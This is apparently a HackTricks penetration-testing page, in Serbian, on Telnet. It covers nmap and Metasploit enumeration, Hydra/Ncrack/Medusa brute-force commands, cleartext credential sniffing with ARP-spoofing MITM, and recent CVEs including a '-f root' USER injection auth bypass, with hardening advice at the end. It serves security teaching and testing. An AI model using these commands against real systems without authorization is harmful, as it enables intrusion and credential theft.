23 - Pentesting Telnet

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Telnet je mrežni protokol koji korisnicima pruža nesiguran način pristupa računaru preko mreže.

Podrazumevani port: 23

23/tcp open  telnet

Enumeracija

nc -vn <IP> 23

Svu zanimljivu enumeraciju moguće je obaviti pomoću nmap:

nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>

Skript telnet-ntlm-info.nse će prikupiti NTLM informacije (verzije Windows-a).

From the telnet RFC: U TELNET protokolu postoje različite “options” koje će biti odobrene i mogu se koristiti sa strukturom “DO, DON’T, WILL, WON’T” kako bi korisnik i server dogovorili korišćenje detaljnijeg (ili možda drugačijeg) skupa konvencija za svoju TELNET konekciju. Takve options mogu uključivati promenu skupa karaktera, echo moda, itd.

Znam da je moguće enumerisati ove options ali ne znam kako, pa mi javite ako znate kako.

Enumerisanje Telnet Options / Features

Telnet koristi IAC + DO/DONT/WILL/WONT pregovore da omogući options. Možete uočiti podržane options hvatanjem početnog pregovora i sondiranjem za specifične features.

Nmap option/feature probes

# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>

# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>

# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>

Skript telnet-encryption proverava da li je opcija ENCRYPT podržana; neke implementacije su istorijski pogrešno rukovale ovom opcijom i bile su ranjive, ali skripta samo proverava podršku. telnet-ntlm-info otkriva NTLM metapodatke (NetBIOS/DNS/OS build) kada je Microsoft Telnet NTLM omogućen. telnet-brute je NSE brute-force auditor za Telnet.

Brute force

Konfiguracioni fajl

/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet

HackTricks Automatske komande

Protocol_Name: Telnet    #Protocol Abbreviation if there is one.
Port_Number:  23     #Comma separated if there is more than one.
Protocol_Description: Telnet          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html

Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23

Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}

Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'

Nedavne ranjivosti (2022-2026)

  • CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): Neadekvatna validacija unosa u telnet servisu omogućava udaljenim napadačima da se prijave koristeći hard-coded credentials i ubrizgaju OS komande; ispravljeno u firmware-u 1.04B05 ili novijem.
  • CVE-2023-40478 – NETGEAR RAX30: Stack-based buffer overflow u Telnet CLI passwd komandi omogućava network-adjacent code execution kao root; autentifikacija je potrebna ali se može zaobići.
  • CVE-2022-39028 – GNU inetutils telnetd: Dvobajtna sekvenca (0xff 0xf7 / 0xff 0xf8) može izazvati NULL-pointer dereference u telnetd, a ponovljeni crash-evi mogu naterati inetd da onemogući servis (DoS).

Imajte ove CVE-ove na umu tokom trijaže ranjivosti — ako meta koristi nepatčovan firmware ili legacy inetutils Telnet daemon, možda imate direktan put do code-execution ili disruptive DoS.

CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Critical)

Sažetak: telnetd u GNU Inetutils kroz verziju 2.7 dozvoljava remote authentication bypass putem vrednosti environment promenljive USER od -f root, što rezultira neautentifikovanim root pristupom.
Uzrok: argument injection (CWE-88) zato što telnetd prosleđuje klijentom-datu USER promenljivu okruženja programu login bez sanitizacije.
Obim: GNU Inetutils telnetd verzije 1.9.3–2.7 su pogođene (objavljeno 21. januar 2026).

Mitigacije

  • Ispravite/azurirajte pogođene pakete odmah (npr. Debian ispravke su u 2:2.4-2+deb12u2, 2:2.6-3+deb13u1, i 2:2.7-2).
  • Onemogućite Telnet ili ograničite pristup na pouzdane management mreže dok se ispravke primenjuju.

Sniffing Credentials & Man-in-the-Middle

Telnet prenosi sve, uključujući credentials, u clear-text. Dva brza načina da ih uhvatite:

# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'

# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)

Za aktivni MITM, kombinujte ARP spoofing (npr. arpspoof/ettercap) sa istim sniffing filters kako biste prikupili passwords na switched networks.

Automated Brute-force / Password Spraying

# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>

# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>

# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f

Većina IoT botneta (varijante Mirai) i dalje skenira port 23 koristeći male rečnike podrazumevanih kredencijala — oponašanje te logike može brzo identifikovati ranjive uređaje.

Eksploatacija & Post-eksploatacija

Metasploit ima nekoliko korisnih modula:

  • auxiliary/scanner/telnet/telnet_version – banner & option enumeration.
  • auxiliary/scanner/telnet/brute_telnet – multithreaded bruteforce.
  • auxiliary/scanner/telnet/telnet_encrypt_overflow – RCE against vulnerable Solaris 9/10 Telnet (option ENCRYPT handling).
  • exploit/linux/mips/netgear_telnetenable – enables telnet service with a crafted packet on many NETGEAR routers.

Nakon dobijanja shell-a imajte na umu da su TTYs obično ograničeni; nadogradite ga sa python -c 'import pty;pty.spawn("/bin/bash")' ili koristite HackTricks TTY tricks.

Ojačavanje i detekcija (Blue team kutak)

  1. Preferirajte SSH i potpuno onemogućite Telnet servis.
  2. Ako je Telnet neophodan, vezujte ga samo za management VLANs, primenjujte ACLs i zaštitite demona TCP wrappers (/etc/hosts.allow).
  3. Zamenite zastarele implementacije telnetd sa ssl-telnet ili telnetd-ssl radi dodavanja enkripcije transporta, ali ovo štiti samo podatke u tranzitu—pogađanje lozinki ostaje trivijalno.
  4. Pratite odlazni saobraćaj ka portu 23; kompromitovanja često kreiraju reverse shells preko Telnet-a kako bi zaobišla stroge HTTP egress filtere.

Reference

  • D-Link Advisory – CVE-2024-45698 Critical Telnet RCE.
  • NVD – CVE-2022-39028 inetutils telnetd DoS.
  • NVD – CVE-2026-24061.
  • Canadian Centre for Cyber Security Alert AL26-002 (CVE-2026-24061).
  • Debian Security Tracker – CVE-2026-24061 ispravljene verzije.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks